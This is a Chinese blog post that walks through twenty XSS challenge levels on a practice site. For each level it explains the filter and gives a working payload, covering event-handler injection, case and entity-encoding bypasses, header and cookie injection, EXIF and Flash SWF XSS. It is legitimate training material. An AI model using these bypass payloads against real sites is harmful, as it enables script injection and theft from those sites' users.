我与XSS的感情之路(2)

接着上一文过来,这一部分是第二个环境的做题记录。

平台2 xsqler.win

Stage#1: http://sqler.win/xss/level1.php?name=test
本关简单,使用svg\body\style \ iframe等标签均可过关。
payload: http://sqler.win/xss/level1.php?name=test<body/onload=alert(1)>

Stage#2: http://sqler.win/xss/level2.php?keyword=test
本题与第一题差不多,只需要进行标签的闭合即可。
payload:
http://sqler.win/xss/level2.php?keyword=test"><body/onload=alert(1)>

Stage#3:http://sqler.win/xss/level3.php?writing=wait
本题通过测试,可得知过滤了<>,且只能用’闭合标签。于是采用on事件型如onmouseover、onmouseout、onclick等进行绕过。Payload: 'onmouseover='alert(1)

Stage#4: http://sqler.win/xss/level4.php?keyword=
本题与上题类似,使用”闭合标签即可:payload:"onmouseover='alert(1)’

图13

Stage#5: http://sqler.win/xss/level5.php?keyword=find a way out!
本题比较简单,增加了过滤范围,on->o_n 然后需要闭合。可以使用"><a href=javascript:alert(1)>通过点击出现的链接进行通关。

Stage#6: http://sqler.win/xss/level6.php?keyword=break it out!
随便哪一个试一下,处理掉了src、herf、onxxx、等,需要进行绕过,通过大小写,成功绕过payload:"><a HRef=javascript:alert(1)>

Stage#7: http://sqler.win/xss/level7.php?keyword=move up!
本题对输入的script、on等进行了单层过滤,可以使用其过滤不严,采用此类payload绕过即可:<svg/oonnload=alert(1)>、或者将script写成scrscriptipt的方式构造即可。

Stage#8:http://sqler.win/xss/level7.php?keyword=move up!
本题已经给出了一个标签,但是过滤了script、src等,大小写无法绕过,但是可以使用html编码进行绕过payload:javasc&#114;ipt:alert(1)

Stage#9:http://sqler.win/xss/level9.php?keyword=not bad!
本题最大的难点在于绕合法连接,发现只有带http://的url才能被认为是合法链接,另外由于“”也被过滤,其他规则与上一关相同,因此需要进行编码。于是构造payload: javascr&#105pt:alert(&#34;http://x&#34;)

Stage#10:http://sqler.win/xss/level10.php?keyword=well done!
本题存在三个隐藏输入框,构造如下get请求,查看元素后,发现t_sort能被写入,如图:
get请求:http://sqler.win/xss/level10.php?t_link=111&t_history=222&t_sort=333

图14

因此只需要在该参数处构造跨站脚本语句即可,使用"onmouseover='alert(1)'然后让输入框属性显示出来改hidden为text即可:payload如下:
http://sqler.win/xss/level10.php?t_sort="onmouseover='alert(1)' type='text'

Stage#11:http://sqler.win/xss/level11.php?keyword=good job!
通过查看元素,发现t_ref的value是我们这个网页的referer值,抓包修改referer输入xss payload:"onmouseover='alert(1)' type='text'即可,本题不想多说什么,感觉referer一般存在xss的极少。

Stage#12:http://sqler.win/xss/level12.php?keyword=good job!
查看元素可看到t_ua参数的value是User-Agent值,和上一题一样,修改为xss payload即可:"onmouseover='alert(1)' type='text'

Stage#13:http://sqler.win/xss/level13.php?keyword=good job!
此题思路同上,这次传参位置为cookie,payload:"onmouseover='alert(1)' type='text';感觉这三题是绕脑洞的样子,,,但是在测试过程中还真没发现过,,,,

Stage#14:http://sqler.win/xss/level14.php
本题可以在查看元素发现嵌入了一个iframe页面,访问该页面是查看图片EXIF信息的,通过看答案知道有EXIF在解析过程中,某些插件在解析时输出未处理可导致xss漏洞,因此食用exiftool工具,修改图片EXIF后,进行上传,然后解析过程中弹窗。学习了,,,,

Stage#15:http://sqler.win/xsschallenge/level15.php?src=1.jpg
本关说是利用src可包含前面页面上的xss漏洞,然后进行弹窗,怎么尝试都没弹出来,,,表示无奈。。。。。

Stage#16:http://sqler.win/xss/level16.php?keyword=
本题终于回到常规绕的思路上了,,经过尝试,可以判断过滤了空格,/等符号,然后尝试绕过,很多姿势都不行,包括编码,进制,截断等然后发现换行符可以绕过:%0a、%0d,因此,payload:
http://sqler.win/xss/level16.php?keyword=<svg%0aonload=alert(1)>

Stage#17:http://sqler.win/xss/level17.php?arg01=a&arg02=b
本题比较简单,在arg02参数值中写入事件型payload即可触发,payload:
http://sqler.win/xss/level17.php? arg02=%20onmousedown=alert(1)

Stage#18:ttp://sqler.win/xss/level18.php?arg01=a&arg02=b
本题与上一题相似,但是arg02无法构造出空格,也就没办法写入输出语句,然后试了试arg01,果然换汤不换药,直接写入payload:%20onmousedown=alert(1)

Stage#19:http://sqler.win/xss/level19.php?arg01=a&arrg02=b
右键查看元素可以看到一个swf文件被调用,然后设想为flash xss,通过下载该文件,使用JPEXS进行分析,发现为actionscript 2.0,然后知道actionscript 2.0是有可以使用getURL来执行javascript下面以一个实例来剖析Flash XSS过程。有点拗口,,,然后对应本题,定位geturl函数:

图15
可以看到在sIFR的内容中当getURL打开时,version是可以传入到loc4中的,因此定位contentIsLink函数:

1
2
3
4
5

function contentIsLink()
{
return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
}

然后可以根据contentIsLink函数构造出payload:
http://sqler.win/xss/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(1)%22%3E1%3C/a%3E

Stage#20:http://sqler.win/xss/level20.php?arg01=a&arg02=b
本题个人感觉比上一题容易做出来,,下载swf文件使用JPEXS进行分析后可以发现是zeroclipboard.swf,然后百度一发,freebuf第一个,粘贴即可payload:
http://sqler.win/xss/xsf04.swf?id=\%22))}catch(e){(alert)(/XSS/.source);}//&width=500&height=500
图16

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2017/07/23/13/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.